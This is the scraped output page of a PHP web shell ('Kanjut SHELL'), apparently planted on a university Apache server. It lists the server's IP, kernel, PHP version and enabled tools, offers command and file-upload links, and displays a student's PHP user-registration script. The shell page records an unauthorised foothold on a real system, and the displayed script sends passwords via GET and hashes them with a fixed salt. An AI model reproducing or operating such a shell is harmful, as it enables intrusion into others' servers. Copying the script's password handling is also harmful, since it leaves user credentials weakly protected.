Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.143.241.253
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/mdwiberg/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mdwiberg/www/CS489NewUser2.php
<?php

if (isset($_GET['R-submit'])) {

   require "dbHandler.php";

   $user = $_GET['uid'];
   $password = $_GET['pid'];
   $passwordC = $_GET['pid-confirm'];

   if(empty($user) || empty($password) || empty($passwordC)){
      header("Location: ../~mdwiberg/CS489NewUser.php?error=emptyfields&uid=".$user);
      exit();
   }
   else if (!preg_match("/^[a-zA-Z0-9]*$/",$user)) {
      header("Location: ../~mdwiberg/CS489NewUser.php?error=invalidusername");
      exit();
   }
   else if ($password !== $passwordC) {
      header("Location: ../~mdwiberg/CS489NewUser.php?error=passwordsmustmatch&uid=".$user);
      exit();
   }
   else{

      $sql = "SELECT USERNAME FROM PROFILES WHERE USERNAME=?";
      $stmt = mysqli_stmt_init($connect);


      if(!mysqli_stmt_prepare($stmt, $sql)){
         header("Location: ../~mdwiberg/CS489NewUser.php?error=sqlerror");
         exit();
      }
      else{
         mysqli_stmt_bind_param($stmt, "s", $user);
         mysqli_stmt_execute($stmt);
         mysqli_stmt_store_result($stmt);
         $dbCheck = mysqli_stmt_num_rows($stmt);


         if($dbCheck > 0){
            header("Location: ../~mdwiberg/CS489NewUser.php?error=usernametaken");
            exit();
         }
         else{
            $sql = "INSERT INTO PROFILES (USERNAME,PASSWORD) VALUES (?, ?)";
            $stmt = mysqli_stmt_init($connect);

            if(!mysqli_stmt_prepare($stmt, $sql)){
		   header("Location: ../~mdwiberg/CS489NewUser.php?error=sqlerror");
		   exit();
            }
            else{
               $hashedP = crypt($password, '$2a$07$acdfsxbgtyhj1425$');
               mysqli_stmt_bind_param($stmt, "ss", $user, $hashedP);
			   mysqli_stmt_execute($stmt);
			   header("Location: ../~mdwiberg/CS489NewUser.php?register=success");
			   exit();
            }

         }
      }

   }
   mysqli_stmt_close($stmt);
   mysqli_close($connect);

}
else{
   header("location: ../~mdwiberg/CS489NewUser.php?error=hack&=");
   exit();
}

Stv3n404 - 2023